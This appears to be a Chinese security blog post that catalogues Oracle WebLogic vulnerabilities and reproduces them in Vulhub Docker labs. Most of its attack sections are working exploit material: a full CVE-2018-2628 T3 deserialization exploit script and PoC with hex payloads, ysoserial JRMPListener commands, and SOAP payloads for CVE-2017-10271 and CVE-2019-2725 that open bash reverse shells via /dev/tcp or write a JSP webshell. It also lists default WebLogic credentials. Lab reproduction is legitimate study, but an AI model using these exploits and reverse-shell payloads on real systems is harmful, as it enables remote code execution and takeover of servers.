Weblogic常见漏洞整理及利用

  • A+
所属分类:安全文章

整理Weblogic常见的漏洞,大部分都是在网上根据大家的blog和GitHub上的说明还有漏洞的简洁整理的,自己就是动手走了一遍,遂记录下来,实际操作的部分包括:弱口令、任意文件下载、任意文件上传、Java 反序列化、XMLdecoder 反序列化、SSRF 漏洞,并根据其漏洞,使用 Docker+Vulhub 进行复现。


CVE-2018-2628/CVE-2018-2894/CVE-2017-10271/CVE-2019-2725


准备:需要安装docker、pip、docker-compose并下载vulhub


Weblogic 较常遇到的几个版本:10.3.6.0、12.1.3.0、12.2.1.1-3


Weblogic 历史相关漏洞



控制台路径泄露:弱口令破解


SSRF 漏洞 :CVE-2014-4210


任意文件上传漏洞:CVE-2018-2894


XML Decoder 反序列化漏洞 :CVE-2017-3506、CVE-2017-10271


Java反序列化漏洞:CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248


1、Weblogic 弱口漏洞复现与任意文件下载


测试环境


cd vulhub-master/weblogic/weak_passwordsudo docker-compose up -d访问:http://your-ip:7001/console


弱口令


常见弱口令system:passwordweblogic:weblogicadmin:secruityjoe:passwordmary:passwordsystem:sercuritywlcsystem:wlcsystemweblogic:Oracle@123


用burpsuite的Intruder模块跑一下就行了。一般都是再控制台没有更改默认的初始密码造成的。



任意文件下载


也在

vulhub-master/weblogic/weak_password这个环境下,存在任意文件下载的漏洞,漏洞地址

http://your-ip:7001/hello/file.jsp?path=

通过任意文件下载可以,我们可以了解目标很多事情,目前来说就是就是下载./security/SerializedSystemIni.dat./config/config.xml两个文件来进行破解后台用户名和密码。[Weblogic 密码使用 AES(老版本 3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。



2、Java 反序列化


Java 序列化与 Java 反序列化
Java 序列化:即把 Java 对象转换为字节序列的过程
Java 反序列化:是指把字节序列恢复为 Java 对象的过程


相关历史漏洞简介

CVE-2015-4852:Weblogic 直接反序列化,是基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞


CVE-2016-0638:Weblogic 直接反序列化,基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞,漏洞实为 CVE-2015-4852 绕过 拜 Oracle 一直以来的黑名单修复方式所赐


CVE-2016-3510:基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞


CVE-2017-3248:基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞 属于 Weblogic JRMP 反序列化


CVE-2018-2628:基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞 属于 Weblogic JRMP 反序列化


CVE-2018-2893:基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞 实为 CVE-2018-2628 绕过


该漏洞涉及版本


10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3


测试环境


cd vulhub-master/weblogic/CVE-2018-2628sudo docker-compose up -d


实现步骤


(1)利用现有的nmap脚本进行检测目标是否使用了T3协议



nmap -n -v -p 7001,目标地址 --script=weblogic-t3-info



(2)使用 Python 脚本针对目标进行探测,是否存在漏洞 Java 反序列化漏洞


weblogic_poc.py[绿盟的]


#!env python#coding=utf-8# # Author:       [email protected]# # Created Time: Wed 19 Jul 2017 01:47:53 AM CST# # FileName:     weblogic_poc.py# # Description:  # # ChangeLog:# -*- coding: utf-8 -*-#先进行T3的握手,成功了就发送第一步的payload,然后发送RequestObject,尝试让weblogic反连自己,然后发送恶意数据,通过回显判定恶意特征串来判定是否存在漏洞import socketimport timeimport reimport sysimport json
socket.setdefaulttimeout(5)

VUL=['CVE-2018-2628']PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']VER_SIG=['\$Proxy[0-9]+']
def t3handshake(sock,server_addr): sock.connect(server_addr) sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex')) time.sleep(1) sock.recv(1024) #print 'handshake successful'
def buildT3RequestObject(sock,port): data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)) data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1,data2,data3,data4]: sock.send(d.decode('hex')) time.sleep(2) #print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))

def sendEvilObjData(sock,data): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload) sock.send(payload.decode('hex')) time.sleep(2) sock.send(payload.decode('hex')) res = '' count = 1024 try: while True: res += sock.recv(4096) time.sleep(0.1) count -= 1 if count <= 0: break except Exception as e: pass return res
def checkVul(res,server_addr,index): p=re.findall(VER_SIG[index], res, re.S) if len(p)>0: #print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index]) return True return False
def do_run(dip,dport,index): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整 sock.settimeout(25) server_addr = (dip, dport) t3handshake(sock, server_addr) buildT3RequestObject(sock, dport) rs=sendEvilObjData(sock, PAYLOAD[index]) #print 'rs',rs return checkVul(rs, server_addr, index)
def run(url, port): try: res = do_run(url, port, 0) if res: out = { '结果': '存在WebLogic CVE-2018-2628 反序列化RCE漏洞', 'url': '%s:%s' % (url, port), } return json.dumps(out, encoding='utf8', ensure_ascii = False) return False except Exception ,e: print "[!] ", e return False

if __name__=="__main__": dip = sys.argv[1] dport = 7001 print run(dip,dport)


之后利用反序列化攻击的工具ysoserial进行攻击


java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]


最后使用44553.py脚本来向目标发送数据包(基于 Python 2.x),该脚本会让靶机调用相关服务来访问我们启动的 JRMP Server,执行我们想要执行的命令。

# -*- coding: utf-8 -*-# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)## IMPORTANT: Is provided only for educational or information purposes.## Credit: Thanks by Liao Xinxi of NSFOCUS Security Team# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA## How to exploit:# 1. run below command on JRMPListener host#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar#    2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]#       e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'# 2. start a listener on attacker host#    e.g. nc -nlvp 4040# 3. run this script on attacker host#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar#    2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]#       e.g.#           a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)#           b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)
from __future__ import print_function
import binasciiimport osimport socketimport sysimport time

def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client): #generates ysoserial payload command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port) print("command: " + command) os.system(command) bin_file = open('payload.out','rb').read() return binascii.hexlify(bin_file)

def t3_handshake(sock, server_addr): sock.connect(server_addr) sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex')) time.sleep(1) sock.recv(1024) print('handshake successful')

def build_t3_request_object(sock, port): data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)) data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1,data2,data3,data4]: sock.send(d.decode('hex')) time.sleep(2) print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))

def send_payload_objdata(sock, data): payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' payload+=data payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload) sock.send(payload.decode('hex')) time.sleep(2) sock.send(payload.decode('hex')) res = '' try: while True: res += sock.recv(4096) time.sleep(0.1) except Exception: pass return res

def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(65) server_addr = (dip, dport) t3_handshake(sock, server_addr) build_t3_request_object(sock, dport) payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client) print("payload: " + payload) rs=send_payload_objdata(sock, payload) print('response: ' + rs) print('exploit completed!')

if __name__=="__main__": #check for args, print usage if incorrect if len(sys.argv) != 7: print('nUsage:nexploit.py [victim ip] [victim port] [path to ysoserial] ' '[JRMPListener ip] [JRMPListener port] [JRMPClient]n') sys.exit()
dip = sys.argv[1] dport = int(sys.argv[2]) path_ysoserial = sys.argv[3] jrmp_listener_ip = sys.argv[4] jrmp_listener_port = sys.argv[5] jrmp_client = sys.argv[6] exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)


3、任意文件上传


测试环境


cd vulhub-master/weblogic/CVE-2018-2894docker-compose up -d


一些必要的配置:


这个功能在启动测试功能下才能验证成功

在 CVE-2018-2894 环境目录下,查看账号密码,运行以下命令:
docker-compose logs | grep password
进入后台登录地址,输入账号密码登录。
勾选在“base_domain”下的“高级”下的“启用 Web 服务测试页”这个选项,最后点击保存。


实现步骤


首先进入未经授权的上传界面:http://your-ip/ws_utc/config.do。将“通用”下的“当前工作目录”路径设置为:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。设置该目录的目的:将目录设置为 ws_utc 应用的静态文件 css 目录,访问这个目录是无需权限的。
上传木马:进入“安全”,点击“添加”,点击“浏览…”,选择你要上传的 JSP 木马,点击“提交”,成功上传 JSP 木马。按键“F12”,选中上传文件名元素,该标签下有个 id 元素,保存这个时间戳ID。
利用连接工具访问刚刚上传的木马:访问地址 http://your-ip:7001/ws_utc/css/config/keystore/[时间戳 id]_[文件名]


4、XML Decoder 反序列化与SSRF



SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外部网络无法访问的内部系统。


涉及版本    10.0.2、10.3.6


测试环境


cd  vulhub-master/weblogic/ssrfdocker-compose  up -d


实现步骤


(1)简单探测


#手工进行简单检测,在漏洞地址处,点击 Search 按钮,返回 “An error has occurred”#如果不显示,可以使用脚本猜测 “ip_detect.py”rt requests headers = {    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',    'Upgrade-Insecure-Requests': '1',    'Content-Type': 'text/xml'    }def Webogic_XMLDecoder_poc(url):    #url="http://192.168.XX.XX:7001"    posturl=url+'/wls-wsat/CoordinatorPortType'    data = '''    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">        <soapenv:Header>            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">                <java version="1.6.0" class="java.beans.XMLDecoder">                    <object class="java.io.PrintWriter">                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">                        <string>xmldecoder_vul_test</string></void><void method="close"/>                    </object>                </java>            </work:WorkContext>        </soapenv:Header>        <soapenv:Body/>    </soapenv:Envelope>    '''         print (url)    try:        r=requests.post(posturl,data=data,headers=headers,timeout=5)        geturl=url+"/wls-wsat/test.txt"        print (geturl)        check_result = requests.get(geturl,headers=headers,timeout=5)        if 'xmldecoder_vul_test' in check_result.text:            print ("[+]存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")    except:        print ("[-]不存在WebLogic WLS远程执行漏洞(CVE-2017-10271)") if __name__ == '__main__':    url = "http://www.7089bat.top:7001"    Webogic_XMLDecoder_poc(url)



发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):


POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: your-ip:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>


写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):



POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: your-ip:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"><string> <![CDATA[<% out.print("test"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>



5、反序列化CVE-2019-2725


测试环境


docker pull ismaleiva90/weblogic12docker run –d -p 7001:7001 --restart=always ismaleiva90/weblogic12


实现步骤

使用 Nmap 的 nse 脚本对目标进行探测脚本地址(https://github.com/Rvn0xsy/nse_vuln/blob/master/weblogic/CNVD-C-2019-4814/weblogic-CNVD-C-2019-48814.nse)


nmap -sV -p 目标端口 目标地址 --script= weblogic-CNVD-C-2019-48814


漏洞存在的URL:http://your-ip:port/_async/AsyncResponseService


利用burpsuite的Reapeter模块开始针对目标进行的攻击:

#修改发送数据<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/172.17.24.175/7089  0&gt;&amp;1</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>


上面这个脚本功能是使用 nc 反弹一个 shell,攻击机去使用 nc 连接,此时攻击机开始进行端口监听,然后点击Go按钮,此时成功连接 shell,并成功进入了目标系统。


参考链接:

https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html


https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html?from=timeline


https://github.com/vulhub/vulhub


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: